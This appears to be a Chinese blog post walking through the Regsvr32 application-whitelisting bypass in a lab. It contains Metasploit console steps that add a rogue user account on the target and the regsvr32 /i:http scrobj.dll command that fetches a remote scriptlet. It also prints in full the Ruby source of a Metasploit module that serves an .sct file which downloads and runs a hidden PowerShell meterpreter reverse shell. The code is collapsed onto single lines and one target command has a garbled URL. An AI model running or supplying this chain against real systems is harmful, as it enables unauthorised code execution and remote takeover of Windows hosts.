首页 技术 正文
技术 2022年11月21日
0 收藏 364 点赞 4,196 浏览 3835 个字

复现亮神课程 基于白名单执行payload–Regsvr32

0x01 Regsvr32

Regsvr32命令用于注册COM组件,是 Windows 系统提供的用来向系统注册控件或者卸载控件的命令,以命令行方式运行。WinXP及以上系统的regsvr32.exe在windows\system32文件夹下;2000系统的regsvr32.exe在winnt\system32文件夹下。但搭配regsvr32.exe使用的 DLL,需要提供 DllRegisterServer 和 DllUnregisterServer两个输出函式,或者提供DllInstall输出函数。

说明:Regsvr32.exe所在路径已被系统添加PATH环境变量中,因此,Regsvr32命令可识别。

Windows 2003 默认位置:

C:\WINDOWS\SysWOW64\regsvr32.exeC:\WINDOWS\system32\regsvr32.exe

0x02 复现

攻击机:192.168.1.4 Debian
靶机: 192.168.1.119 Windows 2003

A)msf_regsvr32

Msf配置:

msf5 exploit(multi/handler) > use auxiliary/server/regsvr32_command_delivery_servermsf5 auxiliary(server/regsvr32_command_delivery_server) > set CMD net user qingxin qingxin /addCMD => net user qingxin qingxin /addmsf5 auxiliary(server/regsvr32_command_delivery_server) > exploit[*] Using URL: http://0.0.0.0:8080/OjwuLaHnidmiH96[*] Local IP: http://192.168.190.141:8080/OjwuLaHnidmiH96[*] Server started.[*] Run the following command on the target machine:regsvr32 /s /n /u /i:http://192.168.190.141:8080/OjwuLaHnidmiH96 scrobj.dll

渗透测试-基于白名单执行payload–Regsvr32

靶机执行:

C:\Users\Administrator\Desktop\Regsvr32>regsvr32 /s /n /u /i:http::/OjwuLaHnidmiH96 scrobj.dllv

渗透测试-基于白名单执行payload–Regsvr32

结果:

渗透测试-基于白名单执行payload–Regsvr32

渗透测试-基于白名单执行payload–Regsvr32

B) powershell版regsvr32

regsvr32_applocker_bypass_server.rb:

### This module requires Metasploit: http://metasploit.com/download# Current source: https://github.com/rapid7/metasploit‐framework##class MetasploitModule < Msf::Exploit::RemoteRank = ManualRanking include Msf::Exploit::Powershellinclude Msf::Exploit::Remote::HttpServerdef initialize(info = {})super(update_info(info,'Name' => 'Regsvr32.exe (.sct) Application Whitelisting Bypass Serve r', 'Description' => %q(This module simplifies the Regsvr32.exe Application Whitelisting Bypass technique.The module creates a web server that hosts an .sct file. When the user types the provided regsvr32 command on a system, regsvr32 will request the .sct file and then execute the included PowerShell command.This command then downloads and executes the specified payload (similar to the web_delivery module with PSH).Both web requests (i.e., the .sct file and PowerShell download and execute) can occur on the same port.),'License' => MSF_LICENSE,'Author' =>['Casey Smith', # AppLocker bypass research and vulnerability discover y(\@subTee)'Trenton Ivey', # MSF Module (kn0)],'DefaultOptions' =>{'Payload' => 'windows/meterpreter/reverse_tcp'},'Targets' => [['PSH', {}]],'Platform' => %w(win),'Arch' => [ARCH_X86, ARCH_X86_64],'DefaultTarget' => 0,'DisclosureDate' => 'Apr 19 2016','References' =>[['URL', 'http://subt0x10.blogspot.com/2016/04/bypass‐application‐whitelisting‐script.html']]))enddef primerprint_status('Run the following command on the target machine:')print_line("regsvr32 /s /n /u /i:\#{get_uri}.sct scrobj.dll")enddef on_request_uri(cli, _request)# If the resource request ends with '.sct', serve the .sct file# Otherwise, serve the PowerShell payloadif _request.raw_uri =~ /\.sct$/serve_sct_fileelseserve_psh_payloadendenddef serve_sct_fileprint_status("Handling request for the .sct file from #{cli.peerhost}")ignore_cert = Rex::Powershell::PshMethods.ignore_ssl_certificate if ssldownload_string = Rex::Powershell::PshMethods.proxy_aware_download_and_exec_string(get_uri)download_and_run = "#{ignore_cert}#{download_string}"psh_command = generate_psh_command_line(noprofile: true,windowstyle: 'hidden',command: download_and_run)data = gen_sct_file(psh_command)send_response(cli, data, 'Content‐Type' => 'text/plain')enddef serve_psh_payloadprint_status("Delivering payload to #{cli.peerhost}")data = cmd_psh_payload(payload.encoded,payload_instance.arch.first,remove_comspec: true,use_single_quotes: true)send_response(cli,data,'Content‐Type' => 'application/octet‐stream')enddef rand_class_id"#{Rex::Text.rand_text_hex 8}‐#{Rex::Text.rand_text_hex 4}‐#{Rex::Text.rand_text_hex 4}‐#{Rex::Text.rand_text_hex 4}‐#{Rex::Text.rand_text_hex12}"enddef gen_sct_file(command)%{<?XML version="1.0"?><scriptlet><registrationprogid="\#{rand_text_a lphanumeric 8}"classid="{#{rand_class_id}}"><script><![CDATA[ var r = ne wActiveXObject("WScript.Shell").Run("#{command}",0);]]><script></registration></scriptlet>}endend

渗透测试-基于白名单执行payload–Regsvr32

渗透测试-基于白名单执行payload–Regsvr32

Msf配置:

渗透测试-基于白名单执行payload–Regsvr32

渗透测试-基于白名单执行payload–Regsvr32

靶机执行:

渗透测试-基于白名单执行payload–Regsvr32

渗透测试-基于白名单执行payload–Regsvr32

相关推荐
python开发_常用的python模块及安装方法
adodb:我们领导推荐的数据库连接组件bsddb3:BerkeleyDB的连接组件Cheetah-1.0:我比较喜欢这个版本的cheeta…
日期:2022-11-24 点赞:878 阅读:9,031
Educational Codeforces Round 11 C. Hard Process 二分
C. Hard Process题目连接:http://www.codeforces.com/contest/660/problem/CDes…
日期:2022-11-24 点赞:807 阅读:5,520
下载Ubuntn 17.04 内核源代码
zengkefu@server1:/usr/src$ uname -aLinux server1 4.10.0-19-generic #21…
日期:2022-11-24 点赞:569 阅读:6,368
可用Active Desktop Calendar V7.86 注册码序列号
可用Active Desktop Calendar V7.86 注册码序列号Name: www.greendown.cn Code: &nb…
日期:2022-11-24 点赞:733 阅读:6,148
Android调用系统相机、自定义相机、处理大图片
Android调用系统相机和自定义相机实例本博文主要是介绍了android上使用相机进行拍照并显示的两种方式,并且由于涉及到要把拍到的照片显…
日期:2022-11-24 点赞:512 阅读:7,781
Struts的使用
一、Struts2的获取  Struts的官方网站为:http://struts.apache.org/  下载完Struts2的jar包,…
日期:2022-11-24 点赞:671 阅读:4,860